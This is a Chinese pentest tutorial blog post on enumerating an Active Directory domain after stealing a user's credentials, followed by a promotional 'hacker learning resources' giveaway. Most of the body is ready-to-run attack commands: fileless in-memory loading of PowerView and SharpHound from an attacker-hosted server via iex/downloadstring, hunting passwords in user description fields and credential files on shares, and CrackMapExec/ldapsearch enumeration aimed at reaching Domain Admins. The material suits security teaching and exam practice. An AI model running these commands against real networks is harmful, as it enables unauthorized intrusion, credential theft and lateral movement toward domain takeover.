ARTICLE DETAIL

建站实战干货

来自一线的建站与推广经验沉淀,每一条都经过真实交付验证。

域渗透入门:拿到域账号后,如何快速摸清家底?

2026/8/14 23:05:15 拓冰建站 浏览量
域渗透入门:拿到域账号后,如何快速摸清家底?

域渗透入门:拿到域账号后,如何快速摸清家底?(收藏版)

本文介绍了在域渗透中,拿到域用户凭证后的首要任务——信息收集。通过使用Windows原生命令、PowerShell远程加载脚本以及PowerView、BloodHound等工具,详细阐述了如何快速摸清域环境中的用户、计算机、服务等信息。文章强调了信息收集的重要性,并提供了实用的命令和查询,帮助初学者更好地理解和应用域渗透技术。

域渗透基础(二):拿到域账号后第一件事——摸清家底

上一篇文章我们讲了域的基本概念:域像一个小区的门禁系统,域控制器(DC)是发门禁卡的保安室。

现在假设你通过某种方式拿到了一个域用户的账号密码——可能是钓鱼邮件、WebShell 拿到了某台机器的权限、或者对方不小心把密码贴在了屏幕上。你有了一个"普通住户"的门禁卡,接下来怎么办?

别急着跑 exploit,先摸清这个小区长什么样。

域渗透有一条铁律:信息收集的深度决定你能走多远。 你不了解域里有什么用户、什么机器、什么服务,就找不到攻击的方向。盲目跑 exploit 就像蒙着眼睛闯迷宫——大概率撞墙。

本文的目标:拿到一个域用户凭据后,用现有工具最快摸清域环境。


一、在原生命令中开始侦察


如果你是 Windows 用户,在域环境中即使被限制了 exe 和 PowerShell 运行策略,net命令永远是能用的。它是操作系统的原生组件,杀软不会拦它、组策略不会禁它。

以下命令是你能用到的最稳定的侦察手段:

# 我是谁——看当前用户信息 whoami # 当前用户在哪些组里 whoami /groups # 域名叫什么 echo %USERDOMAIN% # 域控在哪儿 nltest /dclist:DOMAIN_NAME # 列出 Domain Admins 组成员 net group "Domain Admins" /domain # 查看域控列表(更快、更准) nltest /dclist:CONTOSO # 查看域信任关系(如果有跨域) nltest /domain_trusts

这几个命令能告诉你什么:

  • 你的账号在什么组里——如果你在#ote Desktop Users组,可以直接 RDP 到服务器;在Server Operators则可以管理域控上的服务
  • 域控的 IP——后续所有攻击的目标
  • 谁是域管理员——你的终极目标
  • 是否存在跨域信任(大网还有更大的网)

一条很实用的数据清理小技巧: 有些管理员会在用户的 Description 字段里写密码。上一篇文章已经提过,再次强调——不要忘记检查:

# 查看当前用户信息,包括描述字段 net user %USERNAME% /domain

二、PowerShell 远程加载——不落地的信息收集


如果你的目标机允许 PowerShell 运行(大多数情况允许),PowerShell 远程加载脚本是域渗透中最实用的侦察手段。核心思路:不从宿主机磁盘写文件,直接从你的 Kali HTTP 服务加载脚本到内存。

2.1 用原生 PowerShell 命令枚举

# 获取域信息 Get-ADDomain # 列出所有域用户 Get-ADUser -Filter * -Properties * | ft Name,SamAccountName,Description,Enabled # 列出所有加入域的计算机 Get-ADComputer -Filter * -Properties * | ft Name,OperatingSystem,Enabled # 查找 Domain Admins 组成员 Get-ADGroupMember -Identity "Domain Admins" # 查看所有域组 Get-ADGroup -Filter * | ft Name,GroupCategory,GroupScope # 查找所有 SPN 注册用户(为后文 Kerberoasting 做准备) Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName

为什么Get-ADUserGet-ADComputer好用? 它们直接调用 AD 的 LDAP 接口查询域控,返回的数据比net命令更全——比如可以筛选启用的用户、看用户最后登录时间、看描述字段。

2.2 ADSI 适配器——没 RSAT 工具时的替代方案

如果目标机没有安装 Active Directory 模块(Windows 默认没有,需要安装 RSAT),可以用 ADSI 适配器:

# 创建一个 DirectorySearcher 对象 $searcher = [ADSISearcher]"(objectClass=user)" $searcher.PageSize = 1000 $searcher.FindAll() | ForEach-Object { $_.Properties } # 列出所有域计算机 $searcher = [ADSISearcher]"(objectClass=computer)" $searcher.PageSize = 1000 $searcher.FindAll() | ForEach-Object { $_.Properties.dnshostname }

这段代码不需要额外安装任何东西,是所有 Windows 域成员机器上都能跑的原生方法。


三、PowerView——域枚举的瑞士军刀


PowerView 是 PowerSploit 框架中最常用的 AD 枚举脚本。它的厉害之处在于已经把"最常查的那些东西"做成了简短的函数。

你的操作流程:Kali 上起一个 HTTP 服务,靶机上用内存加载。

在 Kali 上

# 准备 PowerView 脚本 wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1 # 如果你在内网无法出网,事先准备好脚本文件 python3 -m http.server 80

在目标机(Windows)上

# 内存加载 PowerView iex (new-object net.webclient).downloadstring('http://YOUR_IP/PowerView.ps1') # 拿到基础域信息 Get-NetDomain Get-NetDomainController # 枚举所有域用户(选出最有价值的属性) Get-NetUser | select samaccountname, description, lastlogontimestamp, serviceprincipalname # 枚举所有域计算机 Get-NetComputer | select dnshostname, operatingsystem, ipaddress # 枚举所有域组 Get-NetGroup | select name # 查看指定组的成员 Get-NetGroupMember "Domain Admins" # 查找有 SPN 的用户(为 Kerberoasting 提前准备) Get-NetUser -SPN | select samaccountname, serviceprincipalname # 搜管理员在用户描述里写的密码 Get-NetUser -LDAPFilter "(description=*pass*)" | select samaccountname, description Get-NetUser -LDAPFilter "(description=*pwd*)" | select samaccountname, description

PowerView 的最大价值: 把几十行 ADSI 代码封装成一个函数。你不需要记住 LDAP 查询语法,只需要记住 Get-NetUser、Get-NetComputer、Get-NetGroup 这几个核心函数就够了。

PowerView 的几个"救急"用法

# 找哪些用户是本地管理员(需要先拿到目标机的管理员权限) Get-NetLocalGroup -ComputerName TARGET # 找哪些用户可以通过 RDP 登录 Get-NetLocalGroup -ComputerName TARGET |? {$_.AccountName -like "*#ote Desktop*"} # 查找文件服务器上的敏感文件 Get-ChildItem -Path //FILE_SERVER/Share -Recurse -Include *pass*.*, *cred*.*, *config*.*

四、BloodHound——一张图看清所有路径


PowerView 给出的数据是文本列表——你看到 500 个用户、50 台机器、20 个组,但不知道它们之间是怎么关联的。BloodHound 解决的就是"可视化攻击路径"的问题。

工作流程

第一步:Kali 上启动 neo4j 数据库 + BloodHound GUI

sudo neo4j start # 默认用户名密码 neo4j / neo4j # 浏览器访问 http://localhost:7474 改密码 bloodhound --no-sandbox

第二步:在靶机上收集数据

# 用 SharpHound.exe(需要上传到靶机) SharpHound.exe -c All # 或者用 PowerShell 版本(不落盘) iex (new-object net.webclient).downloadstring('http://YOUR_IP/SharpHound.ps1') Invoke-BloodHound -CollectionMethod All

SharpHound 会将收集到的数据打包成<日期>_BloodHound.zip

第三步:把 zip 文件传到 Kali,拖进 BloodHound GUI

# 把 zip 拖进 BloodHound 窗口即可自动导入 # 然后使用预置查询或自定义查询

必用的四个预置查询

  1. 1. Find all Domain Admins —— 谁是域管理员。就这几个人,他们是你的最终目标

  2. 2. Shortest Paths to Domain Admins from Owned Principals —— 我(当前用户)到域管理员的最短路径。这是你最先要看的内容。如果数据库里已经有 50 个用户,但你和域管之间差了 8 条 ACL,这条路径值得先走

  3. 3. Find Computers where Domain Users are Local Admin —— 域用户在哪台机器上是本地管理员。这是最常用的"横向移动跳板"查询

  4. 4. Find all users with SPN —— 所有注册了 SPN 的用户。这就是 Kerberoasting 的攻击目标

BloodHound 自定义查询

预置查询不够用的时候,可以写自定义 Cypher 查询(BloodHound 的查询语言):

// 查找所有可以 RDP 到域控的用户 MATCH p=(u:User)-[:CanRDP]->(c:Computer {name:"DC.CONTOSO.LOCAL"}) RETURN p // 查找 Domain Admins 组成员但在非域控上有会话的用户 // 这意味着这些域管账号的凭据可能缓存到其他机器上 MATCH p=(u:User)-[:MemberOf]->(g:Group {name:"DOMAIN ADMINS@CONTOSO.LOCAL"}) MATCH (c:Computer)-[:HasSession]->(u) WHERE NOT c.name CONTAINS "DC" RETURN c.name, u.name

BloodHound 的三个核心概念:

  • 节点(Node):用户、计算机、组、域
  • 边(Edge):关系(MemberOf、AdminTo、HasSession、CanRDP 等)
  • 路径(Path):从一个节点到另一个节点的关系链条

你不需要一下子搞懂所有边类型。先会用前四个预置查询,在每次测试中慢慢熟悉其他边。


五、从 Kali 端直接用工具枚举


如果目标网络允许从 Kali 直接访问域内机器(OSCP 考试就是这样),你甚至不需要上传脚本到靶机。

# 用 LDAP 查询所有域用户 ldapsearch -H ldap://DC_IP:389 -x / -D "DOMAIN/USER" -w PASSWORD / -b "DC=DOMAIN,DC=LOCAL" / -s sub "(objectClass=user)" sAMAccountName userPrincipalName description # 用 CME 快速查看域信息 crackmapexec smb DC_IP -u USER -p PASSWORD -d DOMAIN # 用 CME 枚举域用户 crackmapexec smb DC_IP -u USER -p PASSWORD -d DOMAIN --users # 用 CME 枚举 SMB 共享(看看域控上有没有暴露的共享文件夹) crackmapexec smb DC_IP -u USER -p PASSWORD -d DOMAIN --shares # 用 enum4linux-ng 枚举(比 CME 更细粒度的 SMB 枚举) enum4linux-ng -u USER -p PASSWORD -d DOMAIN DC_IP

CME 和 enum4linux-ng 的对比:

  • CME:更快,输出简洁,适合批量扫描。--users--groups--shares--pass-pol四个参数基本覆盖了枚举需求
  • enum4linux-ng:输出更详细,包含用户 SID、组描述、密码策略的解析。适合在一台机器上做深入侦察

六、典型枚举流程总结


Step 1:确认凭据有效 → crackmapexec smb DC_IP -u USER -p PASS -d DOMAIN → 看输出是否为 [+] 绿色 Step 2:获取域基本信息 → CME --users 看所有用户 → CME --groups 看所有组 → CME --shares 看可读共享 Step 3:排查高价值信息 → Description 字段查密码 → SPN 注册用户(为下一阶段准备) → 哪些用户是 Domain Admins Step 4:安装 BloodHound(如果方向不明确) → 看 Shortest Paths to Domain Admins → 找 Domain Users 是本地管理员的机器 Step 5:整理结果 → 梳理哪些用户可能是弱密码(用户名像密码的、名字缩写加年份的) → 标记所有 SPN 用户 → 确认下一阶段使用的攻击技术

这个流程走完,你对域的"家底"应该已经有了清晰的认识。下一篇文章会用这些信息开始发力的地方——凭据攻击。


工具总结表

阶段工具命令推荐场景
快速确认凭据CrackMapExeccme smb DC -u USER -p PASS最优先,先确认账号有效
域用户枚举CMEcme smb DC --users快速获取用户列表
域用户枚举(详细)ldapsearchldapsearch -H ldap://DC ...需要更多用户属性时
域组枚举CMEcme smb DC --groups快速看所有组
SMB 共享枚举CMEcme smb DC --shares看域控暴露的文件夹
密码策略查询CMEcme smb DC --pass-pol判断能否做密码喷洒
深度 SMB 枚举enum4linux-ngenum4linux-ng -u USER ...需要用户 SID 等细节
AD 枚举脚本PowerViewGet-NetUser``Get-NetComputer靶机上交互式侦察
攻击路径可视化BloodHoundSharpHound 抓数据 → GUI 分析方向不明时找最短路径

往期推荐:

渗透测试技巧(十七)| SSRF攻击全攻略(上):原理、利用与绕过

渗透测试技巧(十八)| SSRF攻击全攻略(下):深入利用与实战

渗透测试技巧(十九)|文件上传绕过全手法(上)

渗透测试技巧(二十)|文件上传绕过全手法(下)

渗透测试技巧(二十一)Hash密码获取与破解(上)

渗透测试技巧(二十二)| Hash密码获取与破解(下)

[渗透测试技巧(二十三)| MSSQL 数据库渗透测试](https://mp.weixin.qq.com/s?__biz=MzY4NzI2NTczOQ==&mid=224

文章来自网上,侵权请联系博主

互动话题:如果你对网络攻防技术感兴趣,想学习更多网安方面的知识和工具,可以看看以下题外话!

题外话

黑客/网络安全学习路线

今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。

网络安全学习资源分享:

下面给大家分享一份2026最新版的网络安全学习路线资料,帮助新人小白更系统、更快速的学习黑客技术!

一、2026最新网络安全学习路线

一个明确的学习路线可以帮助新人了解从哪里开始,按照什么顺序学习,以及需要掌握哪些知识点。

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

**读者福利 |***CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享 *(安全链接,放心点击)

我们把学习路线分成L1到L4四个阶段,一步步带你从入门到进阶,从理论到实战。

L1级别:网络安全的基础入门

L1阶段:我们会去了解计算机网络的基础知识,以及网络安全在行业的应用和分析;学习理解安全基础的核心原理,关键技术,以及PHP编程基础;通过证书考试,可以获得NISP/CISP。可就业安全运维工程师、等保测评工程师。

L2级别:网络安全的技术进阶

L2阶段我们会去学习渗透测试:包括情报收集、弱口令与口令爆破以及各大类型漏洞,还有漏洞挖掘和安全检查项目,可参加CISP-PTE证书考试。

L3级别:网络安全的高阶提升

L3阶段:我们会去学习反序列漏洞、RCE漏洞,也会学习到内网渗透实战、靶场实战和技术提取技术,系统学习Python编程和实战。参加CISP-PTE考试。

L4级别:网络安全的项目实战

L4阶段:我们会更加深入进行实战训练,包括代码审计、应急响应、红蓝对抗以及SRC的挖掘技术。并学习CTF夺旗赛的要点和刷题

整个网络安全学习路线L1主要是对计算机网络安全的理论基础的一个学习掌握;而L3 L4更多的是通过项目实战来掌握核心技术,针对以上网安的学习路线我们也整理了对应的学习视频教程,和配套的学习资料。

二、技术文档和经典PDF书籍

书籍和学习文档资料是学习网络安全过程中必不可少的,我自己整理技术文档,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,(书籍含电子版PDF)

三、网络安全视频教程

对于很多自学或者没有基础的同学来说,书籍这些纯文字类的学习教材会觉得比较晦涩难以理解,因此,我们提供了丰富的网安视频教程,以动态、形象的方式展示技术概念,帮助你更快、更轻松地掌握核心知识

网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。

四、网络安全护网行动/CTF比赛

学以致用,当你的理论知识积累到一定程度,就需要通过项目实战,在实际操作中检验和巩固你所学到的知识,同时为你找工作和职业发展打下坚实的基础。

五、网络安全工具包、面试题和源码

“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。

面试不仅是技术的较量,更需要充分的准备。

在你已经掌握了技术之后,就需要开始准备面试,我们将提供精心整理的网安面试题库,涵盖当前面试中可能遇到的各种技术问题,让你在面试中游刃有余。

如果你是要找网安方面的工作,它们绝对能帮你大忙。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。

参考解析:深信服官网、奇安信官网、Freebuf、csdn等

内容特点:条理清晰,含图像化表示更加易懂。

内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…


**读者福利 |***CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享 *(安全链接,放心点击)